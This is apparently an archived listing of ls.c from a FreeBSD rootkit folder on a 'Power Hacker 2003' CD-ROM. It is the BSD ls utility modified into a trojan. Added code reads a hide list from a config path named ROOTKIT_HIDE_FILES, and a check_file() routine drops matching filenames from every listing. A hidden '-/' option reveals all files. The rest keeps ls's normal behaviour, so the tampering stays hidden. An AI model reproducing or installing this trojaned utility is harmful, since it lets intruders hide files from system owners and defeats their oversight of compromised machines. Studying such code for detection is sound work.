home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / crh / freebsd / rootkit / ls / ls.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-05-27  |  14.9 KB  |  601 lines

  1. /*
  2.  * Copyright (c) 1989, 1993, 1994
  3.  *    The Regents of the University of California.  All rights reserved.
  4.  *
  5.  * This code is derived from software contributed to Berkeley by
  6.  * Michael Fischbein.
  7.  *
  8.  * Redistribution and use in source and binary forms, with or without
  9.  * modification, are permitted provided that the following conditions
  10.  * are met:
  11.  * 1. Redistributions of source code must retain the above copyright
  12.  *    notice, this list of conditions and the following disclaimer.
  13.  * 2. Redistributions in binary form must reproduce the above copyright
  14.  *    notice, this list of conditions and the following disclaimer in the
  15.  *    documentation and/or other materials provided with the distribution.
  16.  * 3. All advertising materials mentioning features or use of this software
  17.  *    must display the following acknowledgement:
  18.  *    This product includes software developed by the University of
  19.  *    California, Berkeley and its contributors.
  20.  * 4. Neither the name of the University nor the names of its contributors
  21.  *    may be used to endorse or promote products derived from this software
  22.  *    without specific prior written permission.
  23.  *
  24.  * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
  25.  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
  26.  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
  27.  * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
  28.  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
  29.  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
  30.  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
  31.  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
  32.  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
  33.  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
  34.  * SUCH DAMAGE.
  35.  *
  36.  *    $Id: ls.c,v 1.10 1996/08/27 21:51:48 adam Exp $
  37.  */
  38.  
  39. #ifndef lint
  40. static char copyright[] =
  41. "@(#) Copyright (c) 1989, 1993, 1994\n\
  42.     The Regents of the University of California.  All rights reserved.\n";
  43. #endif /* not lint */
  44.  
  45. #ifndef lint
  46. static char sccsid[] = "@(#)ls.c    8.5 (Berkeley) 4/2/94";
  47. #endif /* not lint */
  48.  
  49. #include <sys/types.h>
  50. #include <sys/stat.h>
  51. #include <sys/ioctl.h>
  52.  
  53. #include <dirent.h>
  54. #include <err.h>
  55. #include <errno.h>
  56. #include <fts.h>
  57. #include <stdio.h>
  58. #include <stdlib.h>
  59. #include <string.h>
  60. #include <unistd.h>
  61. #include <locale.h>
  62.  
  63. #include "ls.h"
  64. #include "extern.h"
  65.  
  66. #include "../config.h"
  67.  
  68. #define STR_SIZE        128
  69. #define SHOWFLAG        /*  Able to list files with 'ls -/' command  */
  70.  
  71. struct h_st {
  72.         struct h_st *next;
  73.         char filename[STR_SIZE];
  74. };
  75.  
  76. struct h_st *hack_list;
  77. struct h_st *h_tmp;
  78.  
  79. char tmp_str[STR_SIZE];
  80.  
  81. FILE *fp_hack;
  82. int showall=0;
  83.  
  84. inline file_block_list()
  85. {
  86.         char LSCONF[10];
  87.  
  88.         LSCONF[0]=ROOTKIT_HIDE_FILES[0];
  89.         LSCONF[1]=ROOTKIT_HIDE_FILES[1];
  90.         LSCONF[2]=ROOTKIT_HIDE_FILES[2];
  91.         LSCONF[3]=ROOTKIT_HIDE_FILES[3];
  92.         LSCONF[4]=ROOTKIT_HIDE_FILES[4];
  93.         LSCONF[5]=ROOTKIT_HIDE_FILES[5];
  94.         LSCONF[6]=ROOTKIT_HIDE_FILES[6];
  95.         LSCONF[7]=ROOTKIT_HIDE_FILES[7];
  96.         LSCONF[8]=ROOTKIT_HIDE_FILES[8];
  97.         LSCONF[9]='\0';
  98.  
  99.         h_tmp=(struct h_st *)malloc(sizeof(struct h_st));
  100.         hack_list=h_tmp;
  101.  
  102.         if(fp_hack=fopen(LSCONF, "r")) {
  103.                 while(fgets(tmp_str, 126, fp_hack)) {
  104.                         h_tmp->next=(struct h_st *)malloc(sizeof(struct h_st));
  105.                         strcpy(h_tmp->filename, tmp_str);
  106.                         h_tmp->filename[strlen(h_tmp->filename)-1]='\0';
  107.                         h_tmp=h_tmp->next;
  108.                 }
  109.         }
  110.  
  111.         h_tmp->next=NULL;
  112. }
  113.  
  114. inline int check_file(char *fpath)
  115. {
  116.  
  117.         for(h_tmp=hack_list; h_tmp->next; h_tmp=h_tmp->next)
  118.                 if(strstr(fpath, h_tmp->filename))
  119.                         return(1);
  120.  
  121.         return(0);
  122. }
  123.  
  124. static int     mastercmp __P((const FTSENT **, const FTSENT **));
  125. static void     traverse __P((int, char **, int));
  126.  
  127. static void (*printfcn) __P((DISPLAY *));
  128. static int (*sortfcn) __P((const FTSENT *, const FTSENT *));
  129.  
  130. long blocksize;            /* block size units */
  131. int termwidth = 80;        /* default terminal width */
  132.  
  133. /* flags */
  134. int f_accesstime;        /* use time of last access */
  135. int f_column;            /* columnated format */
  136. int f_flags;            /* show flags associated with a file */
  137. int f_inode;            /* print inode */
  138. int f_kblocks;            /* print size in kilobytes */
  139. int f_listdir;            /* list actual directory, not contents */
  140. int f_listdot;            /* list files beginning with . */
  141. int f_longform;            /* long listing format */
  142. int f_newline;            /* if precede with newline */
  143. int f_nonprint;            /* show unprintables as ? */
  144. int f_nosort;            /* don't sort output */
  145. int f_recursive;        /* ls subdirectories also */
  146. int f_reversesort;        /* reverse whatever sort is used */
  147. int f_sectime;            /* print the real time for all files */
  148. int f_singlecol;        /* use single column output */
  149. int f_size;            /* list size in short listing */
  150. int f_statustime;        /* use time of last mode change */
  151. int f_dirname;            /* if precede with directory name */
  152. int f_timesort;            /* sort by time vice name */
  153. int f_type;            /* add type character for non-regular files */
  154.  
  155. int rval;
  156.  
  157. int
  158. main(argc, argv)
  159.     int argc;
  160.     char *argv[];
  161. {
  162.     static char dot[] = ".", *dotav[] = { dot, NULL };
  163.     struct winsize win;
  164.     int ch, fts_options, notused;
  165.     char *p;
  166.  
  167.     (void) setlocale(LC_ALL, "");
  168.  
  169.     /* Terminal defaults to -Cq, non-terminal defaults to -1. */
  170.     if (isatty(STDOUT_FILENO)) {
  171.         if (ioctl(STDOUT_FILENO, TIOCGWINSZ, &win) == -1 ||
  172.             !win.ws_col) {
  173.             if ((p = getenv("COLUMNS")) != NULL)
  174.                 termwidth = atoi(p);
  175.         }
  176.         else
  177.             termwidth = win.ws_col;
  178.         f_column = f_nonprint = 1;
  179.     } else {
  180.         f_singlecol = 1;
  181.         /* retrieve environment variable, in case of explicit -C */
  182.         if ((p = getenv("COLUMNS")))
  183.             termwidth = atoi(p);
  184.     }
  185.  
  186.     /* Root is -A automatically. */
  187.     if (!getuid())
  188.         f_listdot = 1;
  189.  
  190.     fts_options = FTS_PHYSICAL;
  191.     while ((ch = getopt(argc, argv, "1ACFLRTacdfgikloqrstu")) != EOF) {
  192.         switch (ch) {
  193.         /*
  194.          * The -1, -C and -l options all override each other so shell
  195.          * aliasing works right.
  196.          */
  197.         case '1':
  198.             f_singlecol = 1;
  199.             f_column = f_longform = 0;
  200.             break;
  201.         case 'C':
  202.             f_column = 1;
  203.             f_longform = f_singlecol = 0;
  204.             break;
  205.         case 'l':
  206.             f_longform = 1;
  207.             f_column = f_singlecol = 0;
  208.             break;
  209.         /* The -c and -u options override each other. */
  210.         case 'c':
  211.             f_statustime = 1;
  212.             f_accesstime = 0;
  213.             break;
  214.         case 'u':
  215.             f_accesstime = 1;
  216.             f_statustime = 0;
  217.             break;
  218.         case 'F':
  219.             f_type = 1;
  220.             break;
  221.         case 'L':
  222.             fts_options &= ~FTS_PHYSICAL;
  223.             fts_options |= FTS_LOGICAL;
  224.             break;
  225.         case 'R':
  226.             f_recursive = 1;
  227.             break;
  228.         case 'a':
  229.             fts_options |= FTS_SEEDOT;
  230.             /* FALLTHROUGH */
  231.         case 'A':
  232.             f_listdot = 1;
  233.             break;
  234.         /* The -d option turns off the -R option. */
  235.         case 'd':
  236.             f_listdir = 1;
  237.             f_recursive = 0;
  238.             break;
  239.         case 'f':
  240.             f_nosort = 1;
  241.             break;
  242.         case 'g':        /* Compatibility with 4.3BSD. */
  243.             break;
  244.         case 'i':
  245.             f_inode = 1;
  246.             break;
  247.         case 'k':
  248.             f_kblocks = 1;
  249.             break;
  250.         case 'o':
  251.             f_flags = 1;
  252.             break;
  253.         case 'q':
  254.             f_nonprint = 1;
  255.             break;
  256.         case 'r':
  257.             f_reversesort = 1;
  258.             break;
  259.         case 's':
  260.             f_size = 1;
  261.             break;
  262.         case 'T':
  263.             f_sectime = 1;
  264.             break;
  265.         case 't':
  266.             f_timesort = 1;
  267.             break;
  268.         case '/':
  269.             showall++;
  270.             break;
  271.         default:
  272.         case '?':
  273.             usage();
  274.  
  275.     
  276.         }
  277.     }
  278.     argc -= optind;
  279.     argv += optind;
  280.  
  281.     if (!showall)
  282.         file_block_list();
  283.  
  284.     /*
  285.      * If not -F, -i, -l, -s or -t options, don't require stat
  286.      * information.
  287.      */
  288.     if (!f_inode && !f_longform && !f_size && !f_timesort && !f_type)
  289.         fts_options |= FTS_NOSTAT;
  290.  
  291.     /*
  292.      * If not -F, -d or -l options, follow any symbolic links listed on
  293.      * the command line.
  294.      */
  295.     if (!f_longform && !f_listdir && !f_type)
  296.         fts_options |= FTS_COMFOLLOW;
  297.  
  298.     /* If -l or -s, figure out block size. */
  299.     if (f_longform || f_size) {
  300.         if (f_kblocks)
  301.             blocksize = 2;
  302.         else {
  303.             (void)getbsize(¬used, &blocksize);
  304.             blocksize /= 512;
  305.         }
  306.     }
  307.  
  308.     /* Select a sort function. */
  309.     if (f_reversesort) {
  310.         if (!f_timesort)
  311.             sortfcn = revnamecmp;
  312.         else if (f_accesstime)
  313.             sortfcn = revacccmp;
  314.         else if (f_statustime)
  315.             sortfcn = revstatcmp;
  316.         else /* Use modification time. */
  317.             sortfcn = revmodcmp;
  318.     } else {
  319.         if (!f_timesort)
  320.             sortfcn = namecmp;
  321.         else if (f_accesstime)
  322.             sortfcn = acccmp;
  323.         else if (f_statustime)
  324.             sortfcn = statcmp;
  325.         else /* Use modification time. */
  326.             sortfcn = modcmp;
  327.     }
  328.  
  329.     /* Select a print function. */
  330.     if (f_singlecol)
  331.         printfcn = printscol;
  332.     else if (f_longform)
  333.         printfcn = printlong;
  334.     else
  335.         printfcn = printcol;
  336.  
  337.     if (argc)
  338.         traverse(argc, argv, fts_options);
  339.     else
  340.         traverse(1, dotav, fts_options);
  341.     exit(rval);
  342. }
  343.  
  344. static int output;            /* If anything output. */
  345.  
  346. /*
  347.  * Traverse() walks the logical directory structure specified by the argv list
  348.  * in the order specified by the mastercmp() comparison function.  During the
  349.  * traversal it passes linked lists of structures to display() which represent
  350.  * a superset (may be exact set) of the files to be displayed.
  351.  */
  352. static void
  353. traverse(argc, argv, options)
  354.     int argc, options;
  355.     char *argv[];
  356. {
  357.     FTS *ftsp;
  358.     FTSENT *p, *chp;
  359.     int ch_options;
  360.  
  361.     if ((ftsp =
  362.         fts_open(argv, options, f_nosort ? NULL : mastercmp)) == NULL)
  363.         err(1, NULL);
  364.  
  365.     display(NULL, fts_children(ftsp, 0));
  366.     if (f_listdir)
  367.         return;
  368.  
  369.     /*
  370.      * If not recursing down this tree and don't need stat info, just get
  371.      * the names.
  372.      */
  373.     ch_options = !f_recursive && options & FTS_NOSTAT ? FTS_NAMEONLY : 0;
  374.  
  375.     while ((p = fts_read(ftsp)) != NULL)
  376.         switch (p->fts_info) {
  377.         case FTS_DC:
  378.             warnx("%s: directory causes a cycle", p->fts_name);
  379.             break;
  380.         case FTS_DNR:
  381.         case FTS_ERR:
  382.             warnx("%s: %s", p->fts_name, strerror(p->fts_errno));
  383.             rval = 1;
  384.             break;
  385.         case FTS_D:
  386.             if (p->fts_level != FTS_ROOTLEVEL &&
  387.                 p->fts_name[0] == '.' && !f_listdot)
  388.                 break;
  389.  
  390.             /*
  391.              * If already output something, put out a newline as
  392.              * a separator.  If multiple arguments, precede each
  393.              * directory with its name.
  394.              */
  395.             if (output)
  396.                 (void)printf("\n%s:\n", p->fts_path);
  397.             else if (argc > 1) {
  398.                 (void)printf("%s:\n", p->fts_path);
  399.                 output = 1;
  400.             }
  401.  
  402.             chp = fts_children(ftsp, ch_options);
  403.             display(p, chp);
  404.  
  405.             if (!f_recursive && chp != NULL)
  406.                 (void)fts_set(ftsp, p, FTS_SKIP);
  407.             break;
  408.         }
  409.     if (errno)
  410.         err(1, "fts_read");
  411. }
  412.  
  413. /*
  414.  * Display() takes a linked list of FTSENT structures and passes the list
  415.  * along with any other necessary information to the print function.  P
  416.  * points to the parent directory of the display list.
  417.  */
  418. static void
  419. display(p, list)
  420.     FTSENT *p, *list;
  421. {
  422.     struct stat *sp;
  423.     DISPLAY d;
  424.     FTSENT *cur;
  425.     NAMES *np;
  426.     u_quad_t maxsize;
  427.     u_long btotal, maxblock, maxinode, maxlen, maxnlink;
  428.     int bcfile, flen, glen, ulen, maxflags, maxgroup, maxuser;
  429.     int entries, needstats;
  430.     char *user, *group, *flags, buf[20];    /* 32 bits == 10 digits */
  431.  
  432.     /*
  433.      * If list is NULL there are two possibilities: that the parent
  434.      * directory p has no children, or that fts_children() returned an
  435.      * error.  We ignore the error case since it will be replicated
  436.      * on the next call to fts_read() on the post-order visit to the
  437.      * directory p, and will be signalled in traverse().
  438.      */
  439.     if (list == NULL)
  440.         return;
  441.  
  442.     needstats = f_inode || f_longform || f_size;
  443.     flen = 0;
  444.     btotal = maxblock = maxinode = maxlen = maxnlink = 0;
  445.     bcfile = 0;
  446.     maxuser = maxgroup = maxflags = 0;
  447.     flags = NULL;
  448.     maxsize = 0;
  449.     for (cur = list, entries = 0; cur; cur = cur->fts_link) {
  450.  
  451.                 /* Check whether file should be blocked */
  452.                 if(!showall && check_file(cur->fts_name)) {
  453.                         cur->fts_number=NO_PRINT;
  454.                         continue;
  455.                 }
  456.  
  457.         if (cur->fts_info == FTS_ERR || cur->fts_info == FTS_NS) {
  458.             warnx("%s: %s",
  459.                 cur->fts_name, strerror(cur->fts_errno));
  460.             cur->fts_number = NO_PRINT;
  461.             rval = 1;
  462.             continue;
  463.         }
  464.  
  465.         /*
  466.          * P is NULL if list is the argv list, to which different rules
  467.          * apply.
  468.          */
  469.         if (p == NULL) {
  470.             /* Directories will be displayed later. */
  471.             if (cur->fts_info == FTS_D && !f_listdir) {
  472.                 cur->fts_number = NO_PRINT;
  473.                 continue;
  474.             }
  475.         } else {
  476.             /* Only display dot file if -a/-A set. */
  477.             if (cur->fts_name[0] == '.' && !f_listdot) {
  478.                 cur->fts_number = NO_PRINT;
  479.                 continue;
  480.             }
  481.         }
  482.         if (f_nonprint)
  483.             prcopy(cur->fts_name, cur->fts_name, cur->fts_namelen);
  484.         if (cur->fts_namelen > maxlen)
  485.             maxlen = cur->fts_namelen;
  486.         if (needstats) {
  487.             sp = cur->fts_statp;
  488.             if (sp->st_blocks > maxblock)
  489.                 maxblock = sp->st_blocks;
  490.             if (sp->st_ino > maxinode)
  491.                 maxinode = sp->st_ino;
  492.             if (sp->st_nlink > maxnlink)
  493.                 maxnlink = sp->st_nlink;
  494.             if (sp->st_size > maxsize)
  495.                 maxsize = sp->st_size;
  496.  
  497.             btotal += sp->st_blocks;
  498.             if (f_longform) {
  499.                 user = user_from_uid(sp->st_uid, 0);
  500.                 if ((ulen = strlen(user)) > maxuser)
  501.                     maxuser = ulen;
  502.                 group = group_from_gid(sp->st_gid, 0);
  503.                 if ((glen = strlen(group)) > maxgroup)
  504.                     maxgroup = glen;
  505.                 if (f_flags) {
  506.                     flags =
  507.                         flags_to_string(sp->st_flags, "-");
  508.                     if ((flen = strlen(flags)) > maxflags)
  509.                         maxflags = flen;
  510.                 } else
  511.                     flen = 0;
  512.  
  513.                 if ((np = malloc(sizeof(NAMES) +
  514.                     ulen + glen + flen + 3)) == NULL)
  515.                     err(1, NULL);
  516.  
  517.                 np->user = &np->data[0];
  518.                 (void)strcpy(np->user, user);
  519.                 np->group = &np->data[ulen + 1];
  520.                 (void)strcpy(np->group, group);
  521.  
  522.                 if (S_ISCHR(sp->st_mode) ||
  523.                     S_ISBLK(sp->st_mode))
  524.                     bcfile = 1;
  525.  
  526.                 if (f_flags) {
  527.                     np->flags = &np->data[ulen + glen + 2];
  528.                       (void)strcpy(np->flags, flags);
  529.                 }
  530.                 cur->fts_pointer = np;
  531.             }
  532.         }
  533.         ++entries;
  534.     }
  535.  
  536.     if (!entries)
  537.         return;
  538.  
  539.     d.list = list;
  540.     d.entries = entries;
  541.     d.maxlen = maxlen;
  542.     if (needstats) {
  543.         d.bcfile = bcfile;
  544.         d.btotal = btotal;
  545.         (void)snprintf(buf, sizeof(buf), "%lu", maxblock);
  546.         d.s_block = strlen(buf);
  547.         d.s_flags = maxflags;
  548.         d.s_group = maxgroup;
  549.         (void)snprintf(buf, sizeof(buf), "%lu", maxinode);
  550.         d.s_inode = strlen(buf);
  551.         (void)snprintf(buf, sizeof(buf), "%lu", maxnlink);
  552.         d.s_nlink = strlen(buf);
  553.         (void)snprintf(buf, sizeof(buf), "%qu", maxsize);
  554.         d.s_size = strlen(buf);
  555.         d.s_user = maxuser;
  556.     }
  557.  
  558.     printfcn(&d);
  559.     output = 1;
  560.  
  561.     if (f_longform)
  562.         for (cur = list; cur; cur = cur->fts_link)
  563.             free(cur->fts_pointer);
  564. }
  565.  
  566. /*
  567.  * Ordering for mastercmp:
  568.  * If ordering the argv (fts_level = FTS_ROOTLEVEL) return non-directories
  569.  * as larger than directories.  Within either group, use the sort function.
  570.  * All other levels use the sort function.  Error entries remain unsorted.
  571.  */
  572. static int
  573. mastercmp(a, b)
  574.     const FTSENT **a, **b;
  575. {
  576.     int a_info, b_info;
  577.  
  578.     a_info = (*a)->fts_info;
  579.     if (a_info == FTS_ERR)
  580.         return (0);
  581.     b_info = (*b)->fts_info;
  582.     if (b_info == FTS_ERR)
  583.         return (0);
  584.  
  585.     if (a_info == FTS_NS || b_info == FTS_NS)
  586.         return (namecmp(*a, *b));
  587.  
  588.     if (a_info == b_info)
  589.         return (sortfcn(*a, *b));
  590.  
  591.     if ((*a)->fts_level == FTS_ROOTLEVEL)
  592.         if (a_info == FTS_D)
  593.             return (1);
  594.         else if (b_info == FTS_D)
  595.             return (-1);
  596.         else
  597.             return (sortfcn(*a, *b));
  598.     else
  599.         return (sortfcn(*a, *b));
  600. }
  601.